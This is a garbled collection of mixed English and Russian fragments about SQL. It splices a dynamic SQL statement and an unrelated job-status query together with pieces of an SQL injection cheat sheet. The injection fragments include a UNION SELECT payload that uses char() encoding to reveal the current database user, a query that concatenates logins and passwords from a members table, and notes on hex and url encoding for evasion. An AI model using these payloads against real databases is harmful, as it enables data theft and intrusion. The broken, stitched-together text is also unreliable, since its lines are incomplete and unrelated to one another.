SET @DynamicSQL = 'SELECT TOP 1 1 As HasNonNulls FROM ' + @TableName + ' (nolock) WHERE ''' + @ColumnName + ''' IS NOT NULL'.
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Look again used a lot of space can be used as symbols instead of its use.
и т.д. Почему используется значение NULL?
...All select null, null, concat(char(58,122,114,115,58),ifnull(cast(current_user() as char),char(32)),char(58,115,114,121,58))#.
• SQL Injection into a String/Char parameter Example: SELECT * from table where example
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько
Select c.rundate, sum(casewhen c.runstatus = 'Succeeded'then1end) as Succeeded
0xHEXNUMBER (SM) You can write hex like these; SELECT CHAR(0x66) (S) SELECT 0x5045 (this is
Примеры url-encoded при проведении union select запросов.